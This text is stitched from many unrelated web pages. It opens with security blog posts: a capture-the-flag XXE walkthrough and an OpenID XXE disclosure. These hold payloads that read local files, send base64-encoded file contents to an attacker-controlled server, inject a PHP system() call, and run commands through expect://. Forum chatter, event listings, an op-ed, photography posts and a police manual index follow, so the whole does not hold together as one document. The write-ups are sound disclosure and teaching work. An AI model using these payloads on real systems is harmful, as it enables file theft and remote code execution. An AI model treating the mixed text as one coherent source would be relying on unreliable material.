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The index page had a feed tester feature, this allowed loading of external XML formatted feeds.
Simply trying out this feature and viewing how it functions. Viewing the feed tester result, we noticed that the contents of the XML formatted RSS feed were echoed and it became clear that this may be vulnerable to XXE. The first step would be to try a simple XML payload such as:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///home/spuser/flag1.txt" >]>
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE title [
<!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///home/spuser/flag1.txt" >]>
<description>Free web building tutorials</description>
<title>RSS Tutorial</title>
<title>XML Tutorial</title>
<description>New XML tutorial on W3Schools</description>
It looks like we have some more XML being submitted.. Again we tried XXE and found that using "file://" in our payload created an error. There were ways around this, however the returned data would be truncated and we would not be able to see the full contents of flag2.txt... When stuck with XXE and not being able to see the result (or complete result) there is always the chance that we can get the data out via the network. To do this we needed to generate a payload that would allow us to fetch an external DTD and then "submit" the contents of our target file to a server under our control. Our payload on our server looked like this:
<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=/home/spuser/flag2.txt">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:8000/?%data;'>">
<?xml version="1.0" ?>
<!DOCTYPE r [<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:8000/ev.xml">
Our payload was correctly encoded submitted to the profile update function.
As soon as the XML decoder parsed our malicious payload, we would receive the base64 encoded contents on our server:
The challenge server would send the contents of flag2.txt to our server.
Now it was a simple matter of decoding the payload and we had the second flag. This was not the only way to get flag 2! It was the most "fun" way of doing it though and used a really handy method. Remember it for your next pentest...
<feed><name><![CDATA[<?php system('echo etienne >> /home/spuser/wof.txt') ?>]]></name><url>http://google.com/</url></feed>
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This is a tool that I have wanted to build for at least 5 years. Checking my archives, the earliest reference I can find is almost exactly 5 years ago, and I've been thinking about it for longer, I'm sure.
Finally it has made it out of my head, and into the real world!
Be free! Be free!
So, what does it do, and how does it do it?
The core idea for this tool comes from the realisation that, when reviewing how web applications work, it would help immensely to be able to know which user was actually making specific requests, rather than trying to just keep track of that information in your head (or not at all). Once you have an identity associated with a request, that enables more powerful analysis of the requests which have been made.
In particular, it allows the analyst to compare requests made by one user, to requests made by another user, even as those users log in and log out.
There are various ways in which users can be authenticated to web applications, and this extension doesn't try to handle them all, not just yet, anyway. It does handle the most common case, though, which is forms-based auth, with cookie-based session identifiers.
So, as a first step, it allows you to identify the "log in" action, extract the name of the user that is authenticating, and associate that identity with the session ID until it sees a "log out" action. Which is pretty useful in and of itself, I think. Who hasn't asked themselves, while reviewing a proxy history: "Now which user was I logged in as, when I made this request?" Or: "Where is that request that I made while logged in as 'admin'?"
So, how does it do this? Unfortunately, the plugin doesn't have AI, or a vast database of applications all captured for you, with details of how to identify logins and logouts. But it does have the ability to define a set of rules, so you can tell it how your app behaves. These rules can be reviewed and edited in the "Options" tab of the Identity extension.
What sort of rules do we need? Well, to start with, what constitutes a valid logon? Typically, that may include something like "A POST to a specified URL, that gets a 200 response without the text 'login failed' in it". And we need to know which form field contains the username. Oh, and the sessionid in use by the application, so that the next time we see a sessionid with the same value, we can link that same identity to that conversation as well.
The easiest way to create the login rule is probably via the Http Proxy History tab. Just right click on a valid login request, and choose "Identity -> create login rule". It will automatically create a rule that matches the request method, request path, and the response status. Of course, you can customise it as you see fit, adding simple rules (just one condition), or complex rules (this AND that, this OR that), nested to arbitrary levels of complexity. And you can select the session id parameter name, and login parameter name on the Options tab as well.
Awesome! But how do we identify when the user logs out? Well, we need a rule for that as well, obviously. This can often be a lot simpler to identify. An easy technique is just to look for the text of the login form! If it is being displayed, you're very unlikely to be logged in, right? That can also catch the cases where a session gets timed out, but for the moment, we have separate rules and states for "logged out" and "timed out". That may not be strictly necessary, though. Again, these rules can be viewed and edited in the Options tab. Another easy way to create the logout rule is to select the relevant text in the response, right-click, and choose "Identity -> create logout rule".
Sweet! So now we can track a series of conversations from an anonymous user, through the login process, through the actions performed by the person who was logged in, through to the end of that session, whether by active logout, or by inactivity, and session timeout, back to an anonymous user.
Most interestingly, though, by putting the conversations into a "spreadsheet", and allowing you to create a pivot table of selected parameters vs the identity of the person making the request, it becomes possible to almost automate the testing of access control rules.
This tool is not quite at the "automated" stage yet, but it does currently allow you to see which user has performed which actions, on which subject, which makes it almost trivial to see what each user is able to do, and then formulate tests for the other users. You can also see which tests you have executed, as the various cells in the pivot table start filling up.
In this screenshot, we are pivoting on the path of the URL, the method (GET vs POST), and then a bunch of parameters. In this application (WordPress, just for demonstration purposes), we want the "action" parameter, as well as the parameter identifying the blog post being operated on. The "action" parameter can appear in the URL, or in the Body of the request, and the "post" parameter in the URL identifies the blog post, but it is called post_ID in the body. (It might be handy to be able to link different parameters that mean the same thing, for future development!). The resulting table creates rows for each unique parameter combination, exactly as one would expect in an Excel pivot table.
Clicking on each cell allows you to get a list of all the conversations made by that userid, with the specific combination of parameters and values, regardless of the number of times that they had logged in and out, or how many times their session id changed. Clicking on each conversation in the list brings up the conversation details in the request/response windows at the bottom, so you can check the minutiae, and if desired, right-click and send them to the repeater for replay.
So far, the approach has been to manually copy and paste the session cookie for a different user into the repeater window before replaying the request, but this is definitely something that lends itself to automation. A future development will have an option to select "current" session tokens for identified users, and substitute those in the request before replaying it.
So far, so good! But, since the point of this extension is to check access controls, we'd ideally like to be able to say whether the replayed request was successful or not, right? There's a rule for that! Or there could be, if you defined them! By defining rules that identify "successful" requests vs "failed" requests, conversations can be tagged as successful or not, making it easier to see when reviewing lists of several conversations. Future development is intended to bring that data "up" into the pivot table too, possibly by means of colouring the cells based on the status of the conversations that match. That could end up showing a coloured matrix of successful requests for authorised users, and unsuccessful requests for unauthorised users, which, ultimately, is exactly what we want.
We'd love to hear how you get on with using this, or if you have any feature requests for the plugin. For now, the BurpId plugin is available here.
The course has undergone the full reloaded treatment, with our trainers pouring new tips, tricks and skills into the course, along with incorporating feedback from previous students.
The training introduces all the core skills required to test applications across the major mobile platforms, particularly:
For a full break-down of the course structure check-out our BlackHat training page (https://www.blackhat.com/us-14/training/hacking-by-numbers-reloaded-mobile-bootcamp.html)
Your trainers will be Etienne (@kamp_staaldraad) and Jurgens, both crazy about mobile security and have executed numerous killshots on all the major mobile platforms.
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What originally started as one of those "hey, wouldn't this be cool?" ideas, has blossomed into a yearly event for us at SensePost. SenseCon is a time for all of us to descend on South Africa and spend a week, learning/hacking/tinkering/breaking/building, together and in person.
A few years ago we made the difficult, and sometimes painful, shift to enable remote working in preparation for the opening of our UK and Cape Town offices. Some of you probably think this is a no-brainer, but the benefit of being in the same room as your fellow hackers can't be overlooked. Being able to call everyone over to view an epic hack, or to ask for a hand when stuck is something tools like Skype fail to provide. We've put a lot of time into getting the tech and processes in place to give us the "hackers in the same room" feel, but this needs to be backed with some IRL interaction too.
People outside of our industry seem to think of "technical" people as the opposite of "creative" people. However, anyone who's slung even a small amount of code, or even dabbled in hacking will know this isn't true. We give our analysts "20% time" each month to give that creativity an outlet (or to let on-project creativity get developed further). This is part of the intention of SenseCon: a week of space and time for intense learning, building, and just plain tinkering without the stresses of report deadlines or anything else.
But, ideas need input, so we try to organise someone to teach us new tricks. This year that was done by Schalk from House 4 Hack (these guys rocks) who gave us some electronic and Arduino skills and some other internal trainings. Also, there's something about an all-nighter that drives creativity, so much so that some Plakkers used to make sure they did one at least once a month. We use our hackathon for that.
Our hackathon's setup is similar to others - you get to pitch an idea, see if you can get two other team mates on board, and have 24 hours to complete it. We had some coolness come out of this last year and I was looking forward to seeing what everyone would come up with this time round.
Copious amounts of energy drinks, snacks, biltong and chocolates were on supply and it started after dinner together. The agreed projects were are listed below, with some vagueness, since this was internal after all :)
Keiran and Dane put our office discone antenna to good use and implemented some SDR-fu to pick up aeroplane transponder signals and decode them. They didn't find MH370, but we now have a cool plane tracker for SP.
Using wifi-deauth packets can be useful if you want to knock a station (or several) off a wifi network. Say you wanted to prevent some cheap wifi cams from picking you up ... Doing this right can get complicated when you're sitting a few km's away with a yagi and some binoculars. Charl got an arduino to raise a flag when it was successfully deauthed, and lower it when connectivity is restored for use in a wifi-shootout game.
Panda (Jeremy) and Sara ended up building local Maltego transforms that would allow mass/rapid scanning of large netblocks so you can quickly zoom in on the most vulnerable boxes. No countries were harmed in the making of this.
gcp and et decided on some good ol'fashioned fuzz-n-find bug hunting on a commercial mail platform, and websense. Along the way they learned some interesting lessons in how not to fuzz, but in the end found some coolness.
The hackathon went gangbusters; most of the team went through the night and into the morning (I didn't, getting old and crashed at 2am). Returning that morning to see everyone still hacking away on their projects (and a few hacking away on their snoring) was amazing.
Once the 24-hours was up, many left the office to grab a shower and refresh before having to present to the entire company later on that afternoon.
Overall this years SenseCon was a great success. Some cool projects/ideas were born, a good time was had AND we even made Charl feel young again. As the kids would say, #winning
Recently a security researcher reported a bug in Facebook that could potentially allow Remote Code Execution (RCE). His writeup of the incident is available here if you are interested. The thing that caught my attention about his writeup was not the fact that he had pwned Facebook or earned $33,500 doing it, but the fact that he used OpenID to accomplish this. After having a quick look at the output from the PoC and rereading the vulnerability description I had a pretty good idea of how the vulnerability was triggered and decided to see if any other platforms were vulnerable.
The basic premise behind the vulnerability is that when a user authenticates with a site using OpenID, that site does a 'discovery' of the user's identity. To accomplish this the server contacts the identity server specified by the user, downloads information regarding the identity endpoint and proceeds with authentication. There are two ways that a site may do this discovery process, either through HTML or a YADIS discovery. Now this is where it gets interesting, HTML look-up is simply a HTML document with some meta information contained in the head tags:
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<head> <link rel="openid.server" href="http://www.example.com/myendpoint/" /> <link rel="openid2.provider" href="http://www.example.com/myendpoint/" /> </head> |
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<xrds:XRDS xmlns:xrds="xri://$xrds" xmlns:openid="http://openid.net/xmlns/1.0" xmlns="xri://$xrd*($v*2.0)"> <XRD> <Service priority="0"> <Type>http://openid.net/signon/1.0</Type> <URI>http://198.x.x.143:7804:/raw</URI> <openid:Delegate>http://198.x.x.143:7804/delegate</openid:Delegate> </Service> </XRD> </xrds:XRDS> |
From the description given by Reginaldo the vulnerability would be triggered by having the victim (Facebook) perform the YADIS discovery to a host we control. Our host would serve a tainted XRDS and our XXE would be triggered when the document was parsed by our victim. I whipped together a little PoC XRDS document that would cause the target host to request a second file (198.x.x.143:7806/success.txt) from a server under my control. I ensured that the tainted XRDS was well formed XML and would not cause the parser to fail (a quick check can be done by using http://www.xmlvalidation.com/index.php)
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<?xml version="1.0" standalone="no"?> <!DOCTYPE xrds:XRDS [ <!ELEMENT xrds:XRDS (XRD)> <!ATTLIST xrds:XRDS xmlns:xrds CDATA "xri://$xrds"> <!ATTLIST xrds:XRDS xmlns:openid CDATA "http://openid.net/xmlns/1.0"> <!ATTLIST xrds:XRDS xmlns CDATA "xri://$xrd*($v*2.0)"> <!ELEMENT XRD (Service)*> <!ELEMENT Service (Type,URI,openid:Delegate)> <!ATTLIST Service priority CDATA "0"> <!ELEMENT Type (#PCDATA)> <!ELEMENT URI (#PCDATA)> <!ELEMENT openid:Delegate (#PCDATA)> <!ENTITY a SYSTEM 'http://198.x.x.143:7806/success.txt'> ]> |
It worked! The initial YADIS discovery (orange) was done by our victim (107.x.x.117) and we served up our tainted XRDS document. This resulted in our victim requesting the success.txt file (red). So now we know we have some XXE going on. Next we needed to turn this into something a little more useful and emulate Reginaldo's Facebook success. A small modification was made to our XXE payload by changing the Entity description for our 'a' entity as follows: <!ENTITY a SYSTEM 'php://filter/read=convert.base64-encode/resource=/etc/passwd'>. This will cause the PHP filter function to be applied to our input stream (the file read) before the text was rendered. This served two purposes, firstly to ensure the file we were reading to introduce any XML parsing errors and secondly to make the output a little more user friendly.
The first run with this modified payload didn't yield the expected results and simply resulted in the OpenID discovery being completed and my browser trying to download the identity file. A quick look at the URL, I realised that OpenID expected the identity server to automatically instruct the user's browser to return to the site which initiated the OpenID discovery. As I'd just created a simple python web server with no intelligence, this wasn't happening. Fortunately this behaviour could be emulated by hitting 'back' in the browser and then initiating the OpenID discovery again. Instead of attempting a new discovery, the victim host would use the cached identity response (with our tainted XRDS) and the result was returned in the URL.
"The simple python webserver didn't obey the redirect instruction in the URL and the browser would be stuck at the downloaded identity file."
"Hitting the back button and requesting OpenID login again would result in our XXE data being displayed in the URL."
Finally all we needed to do was base64 decode the result from the URL and we would have the contents of /etc/passwd.
"The decoded base64 string yielded the contents of /etc/passwd"
This left us with the ability to read *any* file on the filesystem, granted we knew the path and that the web server user had permissions to access that file. In the case of this particular platform, an interesting file to read would be config.php which yields the admin username+password as well as the mysql database credentials. The final trick was to try and turn this into RCE as was hinted in the Facebook disclosure. As the platform was written in PHP we could use the expect:// handler to execute code. <!ENTITY a SYSTEM 'expect://id'>, which should execute the system command 'id'. One dependency here is that the expect module is installed and loaded (http://de2.php.net/manual/en/expect.installation.php). Not too sure how often this is the case but other attempts at RCE haven't been too successful. Armed with our new XRDS document we reenact our steps from above and we end up with some code execution.
"RCE - retrieving the current user id"
And Boom goes the dynamite.
All in all a really fun vulnerability to play with and a good reminder that data validation errors don't just occur in the obvious places. All data should be treated as untrusted and tainted, no matter where it originates from. To protect against this form of attack in PHP the following should be set when using the default XML parser:
A good document with PHP security tips can be found here: http://phpsecurity.readthedocs.org/en/latest/Injection-Attacks.html


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Raid/PuG habits should be kept separate {WoW}
Jan 19th 2010 1:57PM Jackassery at it's best!
Patch 3.3 PTR: Quel'delar weapons revealed [Updated] {WoW}
Nov 12th 2009 7:14PM Any idea why the 2H Mace is the only one that doesn't say "Heroic"?
Also, what would the Feral AP on this be? Can't remember the formula.
Patch 3.3 PTR: Ghostcrawler explains Paladin changes {WoW}
Oct 30th 2009 2:46PM @ RetPallyJil,
Would really love for you to chill a bit. I have been noticing your posts over the last couple of days, and they stand out for the vitriol contained in them.
This is a great site that most people come to for two things: a) News about WoW and debate about the news and b) a sense of community, i.e. identifying (or not) with other WoW players. I don't think I am too far off the mark when I say that attitudes such as yours just end up putting people off.
WoW Rookie: Handing over the goods {WoW}
Aug 28th 2009 4:01PM Any JC knows that epic cutting recipes are not easy to come by ... about 4 days per recipe. Had a guy ask me to come to SW (his stone was on cooldown) and cut him two epic gems recently. Tipped me 3G. /facepalm - my fault for not specifying the fee ahead of time, but you usually get very good tips without asking, and I tip very well, so assume other people will as well, especially 80s. Didn't expect antything to change, but politely told him that that was not a good tip. His response was "Life sucks, loser". To add insult to injury, he was in trade chat two minutes later selling those gems for a healthy proft.
That said, never had anyone cheat me when I wanted something crafted, and I also use the group/confirm in chat, etc., whether I am the crafter or the buyer.

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Hi there,
those that might remember me might also noticed that I am not around here anymore often.
Mostly because in my sparetime I am only on facebook these days. And also because since I decided to change my profession from beeing an illustrator to becoming a tattoo artist Im hell of busy drawing and tattooing to get better
Still creating and selling my food miniatures while also working as a graphics designer these days doesnt give me much time to paint digital artworks.
Soo... while I am still around here and then (mostly when doing my job as one of the admins of #paintingdigital if you like to stay in touch with me please switch over to Facebook and either add me on my personal account (in case I know you personally) or add me on my "Fanpage" where you can find recent stuff (painted, drawn and tattooed) ---> www.facebook.com/photo.php?fbi…
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I picked RED because when I think of the monorail, I think of RED.
I picked RED because when I think of the monorail, I think of RED.
I dont know why, but whenever I think of the monorail, it has that pinkish stripe. I dont even know what parks it goes to, but i always think pink.
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Big Red but I tend to agree with Miss Bella, if it opens it doors I am on it.
I had to go with green...it's my fav color!
Wow Lime is winning! Thats my favorite. For some reason I have a lot of great memories on days I get to ride the lime green monorail. Whenever I see it I re-live them in my head.
The new red Mark VII at DL looks awesome.
love the monrails wish Disney had more
I said Yellow. I have no idea why!
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Here is a very interesting short article on how easy it is to crack our passwords these days.
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- Posted by ravencajun (My Page) on Tue, Jun 7, 11 at 12:07
very good article, it is truly amazing the speed at which the brute force crackers work. I saw one at work many years ago and it was much faster than I could even read, these new methods are blazing. Yet so many people are still using their pets name as their password!or even worse the word password. |
I found out my passwords are stored on FF, that's very handy for me, but if anyone stole my PC, they would have access to them. I guess that is a good reason to have password every time you boot up. |
I wish there was a good password manager. I can't keep track of all the passwords. I let FF save them for websites only. I do use their master password and have a log-on password. Just too many to remember! Jane |
I have used RoboForm for several years to generate, save, and access my passwords. Of course if someone really wants to hack a computer I doubt any program would be safe. This is just more for my aged brain, otherwise I would never be able to keep up with all of them. |
Here is a link that might be useful: RoboForm
I use a form I printed off the net and type them in there with other info I might need and keep in a drawer |
If you didn't have a password they couldn't crack it. Nothing to crack. Better off without em. :-) |
I have a tablet on my desk and make notes when I set up a new id and password. When I finish I add the info to my code book and hide it. Then the only problem is remembering where I hid it. I had to learn the hard way to hide it in the same place every time. |
I use LastPass addon for Firefox.I have over 200 sites with passwords and Lastpass does most of them without a hitch.Occasionally lastpass will have trouble with certain sites (maybe 5%)but it's great and VERY secure. http://www.youtube.com/watch?v=z4-h5gWpvAc Steve Gibson is a paranoid computer expert.(Which is good) You only have to remember 1 master password. Hope this helps ya, Jimbo |
Here is a link that might be useful: Lastpass addon for Firefox
Thanks for the info. My passwords stay with me and never on the PC. The sad part is, my bank recently notified me that my passwords along with other customers were stolen off a vendor computer. That�s three times in the last five years my information has been stolen not from my PC but from big organizations I do business with. |
I'm with V, I store mine in an nondescript book right next to my computer. Secreting the book wouldn't hurt though. DA |
I first write mine down and once I know they're working, store them on a flash drive. Seems it is getting harder and harder to come up with pass words that can't be cracked. |
I guess my passwords are on my PC because I have FF save them. I didn't realize they would be saved in an place that was easily accessed. |
- Posted by ravencajun (My Page) on Fri, Jun 10, 11 at 11:50
I too only keep mine in my notebook dedicated just to that which I keep in a secured location. If they break into my home steal my pc and also manage to find my password book I will likely be dead in the process so .... I never let my browser remember passwords |
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I either am too retarded to read or the info I have is incomplete. Can Gruul parry attacks? His attack is on a 2s timer, but I could swear I've seen he hit me twice in a second. This led to a small discussion with a melee dpser who would not move back to his back after a cave in, but I did felt gibbed. parrygib at growth 12 isn't funtimes.
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A Stay Of Execution In Iran And The Insolence Of The West
The thugs who run Iran watched patiently as the news cycle passed. When they thought the coast was clear, they declared again their intent to carry out capital punishment against a woman based on the oppressive laws of Shariah. But the world had not forgotten the tragic case of Sakineh Mohammadi Ashtiani and the regime backed down, citing the "insolence" of the West.
May we always be so insolent. An excerpt from Bernard Henri-Levi's excellent essay, Sakineh, Ahmadinejad, and the "Insolents":
The first comes from the Iranian Minister of Foreign Affairs, Manouchehr Mottaki, telling his French counterpart Bernard Kouchner that "the authorities of justice had not pronounced the final verdict in the affair concerning Sakineh Ashtiani" -- a discreet, to say the least, way of making one (temporarily) forget the letter addressed by the Supreme Court of Tehran to the application of sentences office of Tabriz prison instructing that the young woman be executed as rapidly as possible.
And the second, from M. Mehmanparast, spokesman for the Ministry of Foreign Affairs, reported by the Isna press agency, regrets that the Westerners have the "insolence" to transform "the case of Sakineh Mohammadi Ashtiani, who has committed crimes and is guilty of betrayal, an affair of human rights". What insolence, indeed, M. Mehmanparast insists, to have made of "her case a symbol of the liberty of women" and to "use a simple case (the criminal law case) as a means of pressure against Iran".
Ah, what a lovely way to express things. And how elegantly put the ire of the Iranian government. Fortunate "insolence", in any event! Happy mobilization that has transformed Sakineh's face into a global icon, a symbol, and thus put off, for the time being, the date of her expected death!
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It's the fair city of Romeo and his Juliet. How would it wear as a daughter's name? Thanks to Fran for suggesting Verona as our Baby Name of the Day.
Virtue names range from the mainstream Grace and Faith to the quirky-cool Amity and Verity to the so-good-she's-bad Chastity. Which category does this name fit into? Thanks to Amanda for suggesting Temperance as our Baby Name of the Day.
There's spare Claire and vintage Clara. But what about the frilliest of them all? Thanks to Fran for suggesting Clarissa as Baby Name of the Day.
She's a literary, regal, place name with an undeniable romance. Yes, Virginia – it is your turn to be featured as Baby Name of the Day. Thanks to Emily for the suggestion.
With a rich legendary and literary past, it would be a mistake to give this one over to the Mouse. Thanks to Jane for suggesting Orlando as Baby Name of the Day.
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If none of the experts will heed my warnings and we're going to continue messing around with robotics, I want guys like Arthur Wait designing them. Engineer and amateur chef Wait recently won Grand Prize at Microsoft's Robotics @ Home Competition with his SmartTripod design, which provides a handy way to record demos, tutorials and Instructable-type videos without a cameraman.
I'm a fan of Wait's robot because it's designed to be subservient, and unlike those maniacs at the Ishikawa Oku Lab he has not chosen to give it lightning-fast reflexes to make it athletically superior to humans. Also, it seems like it would be pretty easy to knock over in case it went rogue. And it's clearly useful. Have a look:
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In March 2014 Bridport Museum was granted initial support from the Heritage Lottery Fund (HLF) for the 'Bridport Dagger' redevelopment. The project is a large redevelopment, which aims to completely re-design the interior of the museum and all its displays.
The team have been very busy beavering away on the plans and developing ideas to raise the rest of the money required to support the project. Volunteers are also busy working on cataloguing collections and undertaking research.
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It's 1962 and Kennedy and Khruschev are about to collide over Cuba, but the real trouble is brewing thousands of miles away, deep below the surface of Bristol…
The Ministry of Entertainment has been touring continuously to theatres and villages halls up and down the Country ever since it first formed fifteen years ago, by four ex Bristol Old Vic company members. Well known for previous Artsreach tours with Doodlebugs and Bogeymen, Mrs. Gerrish's Guesthouse and Goodbye Mrs. Chips, The Ministry of Entertainment return to Dorset with their songs and comic theatre for a final performance of this Cold War inspired show.
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If you're a band or artist with original material, who lives within 50 miles radius of Bridport, Dorset and who would love the chance to win the opening slot on the main stage at Jurassic Fields Music Festival plus 10 tickets (worth £250) this is the page for you. www.facebook.com/jurassicbands
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The New Elizabethan Singers will perform Brahms' "Ein deutsches Requiem" on consecutive Saturdays in February. "Ein deutsches Requiem" was Brahms' largest single work and his first work for chorus and orchestra. Deeply moving, profound and powerful, its status as one of the greatest monuments of choral music is unchallenged. It is meant primarily as a consolation for mourning survivors, but also contains much hope and blessing for the departed. The closing section of the sixth movement is among his grandest creations. The work was probably inspired by the death of his mother in 1865.
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It has been revealed in the December edition of posh BMA journal that the trendy face hair worn by "Hipsters" to hide behind is responsible for the latest outbreak of superbug MRSA in Dorsetshire.
Dr Charalambous Beardipopolous talking via Skype from his office at the BRA (Beard Research Academy) is an expert in beard related transmittable diseases has suggested that froth from cappuccino style coffees drunk on pavement cafes is the perfect breeding ground for the superbug.
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There are places that give us a hit every time we look at them and moments when everything combines to make ordinary views extraordinary and there are artists who are able to take a view of a place, whether real or imagined, and communicate through it something that we recognise but could not express. They have found a way to distil the frisson into their work, and while the viewer may be enjoying the paint surface and colour, they also feel a sense of wonder at the world in which we live.
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SOHA Studio & Gallery present NEW MAGIC, a two person show featuring work from Nita Turnage and Hap Phillips, founders of Artica, and two of the most respected artists in St. Louis. The Friday, April 4, 6 p.m. to 10 p.m. opening reception will showcase sculpture and mixed media. Professionally mounted, original works of art will be exhibited and for sale in a variety of sizes and formats.
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Maranello, 9 July – On the second day of the Silverstone test, Pirelli ran out an experimental 18 inch tyre which in the next years could replace the 13 inch one currently used in Formula 1. The diameter of these tyres is 30 millimetres bigger and it has the same width as the current ones. Ferrari therefore asked its fans through Twitter with the hashtag #FerrariFanSurvey which tyre they preferred, posting photos of each. In the few hours the survey ran, over 3000 fans voted and their opinion was pretty clear: 70% preferred the 18 inch wheels and tyres.
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Silverstone, 9 July – This was the final day of testing at Silverstone for Scuderia Ferrari and the other Formula 1 teams.
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Photo Profile: Sam Pedder aka @tattooed_rider
I had the opportunity and pleasure to photograph and interview Sam Pedder, an English cyclist currently riding in the US.
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I had the opportunity and pleasure to photograph and interview Sam Pedder, an English cyclist currently riding in the US.
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Most of the time I get asked, "Why do you want to take my picture?". Usually my answer is to update my portfolio and so the person can have some nice pictures of them self…while at times that's true, most of the time the honest truth would sound plain weird. The reason I photograph the people that I do is because I believe in what they are trying to achieve or what they have achieved. I respect art and the people behind it and I admire people's passion to their craft. These people deserve to be acknowledged as individuals and I would like to highlight them in our society. So, "Why do I want to take your photograph?" Because I believe in you and your work.
Speaking of, here is an example of one of those people!
I had the chance to photograph Goonies, a tattoo artist out of Old Towne Tattoo Parlor in Orange, CA and a singer/guitarist for Beatrix Kiddo. A bit shy at times but fun once you get to know her. Check out her work and her band! Support your local artist/band!
It's beginning to be wedding season and Alan & Mariana's wedding was the first one of the year. I usually don't post wedding photos on this blog, but I realized that most of my followers don't know that not only do I specialize in portrait photography but my second passion is wedding photography. It is honestly one of the most challenging gigs you can ever have. Not only do you start early in the morning and leave late at night, you have to capture the right moments and be creative, friendly, patient and positive at all times; especially at those key hectic moments. But the resulting photographs, that will live on for generations to come in their new family, makes it so worth it.
Skateboarding is a gateway to a creative mind, you see the world differently when you skate. As a teenager all I ever wanted to do was skate everywhere and anywhere, but I gave up skateboarding for photography. From time to time I wished I would have kept on skating but I love photography a lot more. I truly enjoyed seeing the determination and skills of Jake and Sonny; both skate for Anaheim Skateboards. Mark, owner of Anaheim Skateboards, gave me an opportunity to work with these two amazing skaters at two great locations. I was also able to take their portrait, I'm really pleased with the results.
I had a great time shooting this lovely lady and I also got the opportunity to work with the talented Drea Ruiz, an amazing makeup artist that helped my work look clean and refined Alexandria's natural-born beauty. Enjoy the Pictures.
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I had the opportunity to photograph Dee and El Guero. Photographing these two was a blast, not only because they understand my sense of humor, but because their chemistry is amazing in front of the camera. Dee is Guero's mom. Most people wouldn't get particularly excited about having a picture taken with their mom but not Guero. The last time they had their portraits taken together was when he was 3 year old. This shoot was an opportunity for them to share an experience long over-due. They chose to have their portraits taken at the LA Arts District, and as born and raised Angelenos, its mix of urban style, vibrant colors, and a community full of life was a great backdrop for their personalities. This mother and son duo are excellent people and their relationship is one to take notes on in regards to how a mother and son should care for each other. It was an honor and great fun photographing them, and I hope you enjoy the pictures and much as I enjoyed taking them.


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5.090 - Operations Bureau General Personnel Matters
5.100 - Operations Bureau Individual Responsibilities
5.130 - Supervisor/Employee Relationships
Bias-Free Policing Frequently Asked Questions (FAQ)
5.150 - Use of Private Vehicles for City Business
5.160 - Citizen Observation of Officers
5.170 - Alcohol and Substance Use
5.175 - Critical Incident Stress Management Communications
Title 6 - Arrests, Search and Seizure
6.010 - Reporting Arrests and Detentions
6.020 - Arrests and Detentions of Foreign Nationals
6.060 - Collection of Information for Law Enforcement Purposes
6.140 - Locating a Cell Phone during an Emergency
6.150 - Advising Persons of Miranda
6.181 - Performing Inventory Searches
6.220 - Voluntary Contacts, Terry Stops & Detentions
Title 7 - Evidence and Property
7.030 - Firearms & Shell Casings
7.040 - Dangerous or Hazardous Evidence
7.050 - Checking Out Evidence for Court
7.070 - Converting Evidence for Department Use
7.130 – Narcotics Training Aid and Investigative Use Drug Property Release
Title 8 - Use of Force
8.000 - Use of Force Core Principles
8.050 - Use of Force Definitions
8.300 - Use of Force Reporting and Investigation
Use of Force Public Safety Statement Card
Investigating Supervisor Scene Guide
Investigating Supervisor Precinct Guide
Investigating Supervisor Documentation Guide
Involved Officer Statement Guide
Witness Officer Statement Guide
8.400 - Reviewing Use of Force
8.500 - Firearms Discharge Investigations
Officer Involved Shooting-Public Safety Statement Card
Title 9 - Equipment and Uniforms
9.010 - Employee Dress Standards
9.040 - Uniform and Equipment Committee
9.050 - Clothing Allowance and Reimbursement for Personal Property
Title 10 - Police Facilities & Security
Title 11 - Detainee Management
11.010 - Detainee Management in Department Facilities
11.020 - Transportation of Detainees
11.030 - Guarding Detainees at a Hospital
Title 12 - Department Information Systems
12.030 - Computer Hardware & Devices
12.045 - Booking Photo Comparison Software
12.055 - Criminal Justice Research
12.060 - Department Forms Control
12.070 - Department Publications
12.080 - Department Records Access, Inspection & Dissemination
12.090 - Departmental Correspondence
12.091 - Mobile Reporting Entity (MRE) Laptops
12.110 - Use of Department E-mail & Internet Systems
Title 13 - Vehicle Operations
13.010 - Collisions Involving Department Vehicles
13.015 - Collision Review Board
13.030 - Emergency Vehicle Operations
13.031 - Vehicle Eluding/Pursuits
13.040 - Patrol Operations Equipment, Police Vehicles and Facilities
13.050 - Policing by Mountain Bike
Title 14 - Emergency Operations
14.060 - Serious Incident Plan
14.070 - Serious Injury or Fatality to a Police Officer
14.080 - Task Force Mobilization
Title 15 - Primary Investigation
15.015 – Bomb Threats and Explosive Devices
15.080 - Follow-up Unit Notification and Follow-up Investigation
15.140 - Narcotics Activity Report
15.160 - Marijuana Enforcement
15.180 - Primary Investigations
15.185 - Vulnerable Adults-Elder Abuse and Neglect
15.190 - Theft and Recovery of Vehicle, License Plates, or License Tabs
15.210 - Investigating Property Held by a Pawnshop or Used-Goods Store
15.215 - Domestic Violence Firearms Surrender
15.250 - Interpreters/Translators
15.260 - Collision Investigations
15.270 - Trespass Warning Program
15.275 - Enforcing Trespass in Parks
15.290 - Stay Out of Areas of Prostitution (SOAP)
15.300 - Stay Out of Drug Areas (SODA)-Define Boundaries
15.310 - Foreign Nationals Seeking Asylum
15.320 - Police Action on Military Reservations
15.330 - Responding to Threats and Assaults on Officers
15.350 - Significant Incident Report
Title 16 - Patrol Operations
16.030 - Citizen Rider Program
16.040 - Community Police Teams
16.070 - Responding to Monitored Alarms
16.080 - Fireworks Disposal and Disposition
16.091 - Body-Worn Video Pilot Program
16.100 - Patrol Training and Publications
16.130 - Sick and Injured Persons
16.140 - Traffic Direction and Control
16.170 - Automatic License Plate Readers
16.180 - Patrol Operations Order
16.190 - Labor Management Disputes
16.230 - Issuing Tickets and Traffic Contact Reports
16.231 - Cancelling and Voiding Tickets
16.250 - Interaction with the University of Washington Police Department
Effective Date: 7/12/2010
The Seattle Police Department (SPD) is committed to making reasonable efforts to monitor, via digital video imaging, individuals in the custody of SPD in areas captured by the Holding Cell Camera System (HCCS).
Establish a uniform policy regarding the administration and operation of the SPD HCCS. Further, to establish HCCS monitoring protocols, handling/storage policies, and preservation parameters.
I. Definitions
